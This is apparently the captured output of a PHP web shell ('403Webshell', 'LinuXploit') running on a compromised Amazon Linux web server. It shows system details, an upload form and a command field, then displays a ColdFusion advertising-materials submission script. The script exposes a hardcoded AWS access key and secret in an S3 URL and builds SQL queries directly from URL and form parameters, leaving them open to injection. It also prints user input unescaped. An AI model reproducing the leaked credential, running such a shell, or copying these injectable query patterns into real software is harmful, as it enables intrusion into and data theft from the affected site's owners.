403Webshell
Server IP : 104.21.21.239  /  Your IP : 216.73.217.143
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/home2/cgny/nympadmin/materials/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/home2/cgny/nympadmin/materials/sc.cfm
<cfinclude template="materialsheader.cfm">
<Cfparam name="url.typer" default="content">

    
<cfquery name="getclient" datasource="cityguide">
SELECT * from adopstrackingclient
where id = #url.clientid#
</cfquery>


<div id="content"  style="margin-left:250px;">
  <div id="content-header">
   <h2>&nbsp;Advertising</h2>
  </div>
  <div class="container-fluid">

                  
Submit <Cfoutput>#ucase(url.typer)# materials for #getclient.clientname# - #getclient.campaignname#</Cfoutput>
<p>
    
    

    
    
    <cfif parameterexists(url.preview)>


<cffile action="upload"
	      nameconflict="makeunique"
			  filefield="crop"
              accept="image/jpeg,image/pjpeg,image/gif,image/png"
			  destination="/home/home2/cgny/public_html/nympadmin/temp/" mode="644">
	<cfset photo = "#File.ServerFile#">   



<cfimage source="/home/home2/cgny/public_html/nympadmin/temp/#file.serverfile#" name="myImage">

<cfif #photo# contains '.png'>
        <cfset anphoto = rereplacenocase(photo,'png','jpg')>

    <cfimage
action = "write"
destination = "/home/home2/cgny/public_html/nympadmin/temp/b#file.serverfile#"
source = "/home/home2/cgny/public_html/nympadmin/temp/#file.serverfile#"
quality = "1"> 

 <cffile
   action = "rename"
   source = "/home/home2/cgny/public_html/nympadmin/temp/b#file.serverfile#"
   destination = "/home/home2/cgny/public_html/nympadmin/temp/#file.serverfile#"
   mode = "777">


</cfif>



	
	  <cfset photo = replace(photo," ","_","ALL")>

 <cffile
   action = "rename"
   source = "/home/home2/cgny/public_html/nympadmin/temp/#File.ServerFile#"
   destination = "/home/home2/cgny/public_html/nympadmin/temp/#photo#"
   mode = "644">


<cffile action = "copy"
destination = "s3://AKIATN2MEJ2RTDTV2LYS:YrqjcSUb0Gg29ProbVrbQ7Uk4oWIeFRUOc19ByG5@cloudimages.broadwayworld.com/sponsors" 
source="/home/home2/cgny/public_html/nympadmin/temp/#photo#"
mode="777">

<cffile
action = "delete"
file = "/home/home2/cgny/public_html/nympadmin/temp/#photo#">

<cfparam name="form.videos" default="">

<cfquery name=addphoto datasource="cityguide">
INSERT INTO staging.articles(clientid,headline,subheadline,email,copy,articleimage,itemstatus,videos)
VALUES	(#url.clientid#,'#form.headline#','#form.subheadline#','#form.email#','#form.htmlblock#','https://cloudimages.broadwayworld.com/sponsors/#photo#',0,'#form.videos#')
</cfquery>
<cfquery name="getid" datasource="cityguide">
    select id from staging.articles
    order by id desc
    limit 0,1
</cfquery>

   
	<p>
	    <a href="javascript:window.history.back()">Back</a>

<Cfoutput>
<FORM name="form2" action="submit-content.cfm?clientid=#url.clientid#&itemid=#url.itemid#&done=on&submitid=#getid.id#" method="post" enctype="multipart/form-data">

                                     <button type="submit" class="btn btn-success m-t-20" style="background-color:##b20223;"><i class="fa fa-envelope-o"></i> Submit Materials</button>
</form>
<p></p>
<h1>#form.headline#</h1>
<h2>#form.subheadline#</h2>
<p>
    <img src="https://admin.nymetroparents.com/sponsors/#photo#" style="float:left;max-width:250px;padding-right:10px;">#form.htmlblock#
</p>
</cfoutput>



	</p>
	
<div style="clear: both;"></div>

   <cfquery name="getbuttons" dataSource="cityguide">
    select instructions from adopstrackingtypes
    where typer = '#url.typer#'
</cfquery>

<cfoutput>#getbuttons.instructions#</cfoutput><br>
<Cfoutput>
<FORM name="form2" action="submit-content.cfm?clientid=#url.clientid#&itemid=#url.itemid#&done=on&submitid=#getid.id#" method="post" enctype="multipart/form-data">


    
</cfoutput>

                                     <button type="submit" class="btn btn-success m-t-20" style="background-color:#b20223;"><i class="fa fa-envelope-o"></i> Submit Materials</button>
</form>

<Cfelseif parameterexists(url.done)>
    
    <cfquery name="getarticle" datasource="cityguide">
        select * from staging.articles 
        where id = #url.submitid#
    </cfquery>
    

    
  <CFMAIL
TO="[email protected],#getclient.accountrep#,#getclient.adopsemail#"
SUBJECT="Content Ad Materials Submitted for #getclient.clientname# - #getclient.campaignname#"
  FROM="Anthony Costa <[email protected]>"
      SERVER="us-smtp-outbound-1.mimecast.com"type="html"
 >

#getclient.clientname# - #getclient.campaignname# by #getarticle.email#
<br>
<a href="https://admin.nymetroparents.com/adslist-materials.cfm">Click Here to Approve Materials</a>
<p>
<p></p>    
</p>
<h1>#getarticle.headline#</h1>
<h2>#getarticle.subheadline#</h2>
<p>
    
    <!---
    <img src="#getarticle.articleimage#" style="float:left;max-width:250px;padding-right:10px;">#getarticle.copy#
</p>--->



</cfmail>



    Thank you, your materials have been sent to Ad Ops. 
    
    
    
<Cfelse> 

   <cfquery name="getbuttons" dataSource="cityguide">
    select instructions from adopstrackingtypes
    where typer = '#url.typer#'
</cfquery>

<cfoutput>#getbuttons.instructions#</cfoutput><br>
                                      <div class="col-xlg-10 col-lg-9 col-md-8 bg-light-part b-l">
<Cfoutput>
<FORM name="form2" action="submit-content.cfm?submit=on&clientid=#url.clientid#&itemid=#url.itemid#&preview=build" method="post" enctype="multipart/form-data">
                   </Cfoutput>                 <div class="card-body">
                                  
                                  
                                  
                                      <div class="form-group">
                                                                            <h4>Headline</h4>

                                            <input  required  name="Headline" class="form-control" placeholder="Enter your headline">
                                        </div>
                                        
                                       
                                               <div class="form-group">
                                                                            <h4>Subhead</h4>

                                            <input  required  name="subheadline" class="form-control" placeholder="Enter a subhead for your article">
                                        </div>
                                        
                                                <div class="form-group">
                                                                            <h4>Your Email</h4>

                                            <input  required  name="email" class="form-control" placeholder="Enter your email">
                                        </div>
                                        
                                        
                                     
                                      
                                     
                                        <h4><i class="ti-link"></i> Article Image</h4>
                                            <div class="fallback">
 <input type="file"  required  id="crop" name="crop" style="width:200px;font-size:10pt;"  />
                                            </div>
                                            <br>
                                               <div class="form-group">
                                <h4>Content</h4>

<script src="https://cdn.ckeditor.com/4.15.1/standard/ckeditor.js"></script>

                                            <textarea   required  style="height:800px" name="htmlblock" class="textarea_editor form-control" rows="25" placeholder="Enter text ..."></textarea>
                                            
                                                            <script>
                        CKEDITOR.replace( 'htmlblock', {
   height: '500px'});
                </script>





</div>


    <div class="form-group">
                                                                            <h4>Videos (optional)</h4>

<textarea name="videos" style="width:100%;height:100px;" placeholder="Include links to YouTube, Vimeo, etc. or embed code"></textarea>
                                        </div>
                                        
                                        
                                     


                                        </div>
                                       <center><button type="submit" class="btn btn-success m-t-20" style="background-color:#b20223;"> Preview Materials</button></center> 
                                    </div>
                            
                                        </form>

 

</cfif>  
                        
   </div>
<!--Footer-part-->
<br><br><br><br>

<cfinclude template="/footer.cfm">




Youez - 2016 - github.com/yon3zu
LinuXploit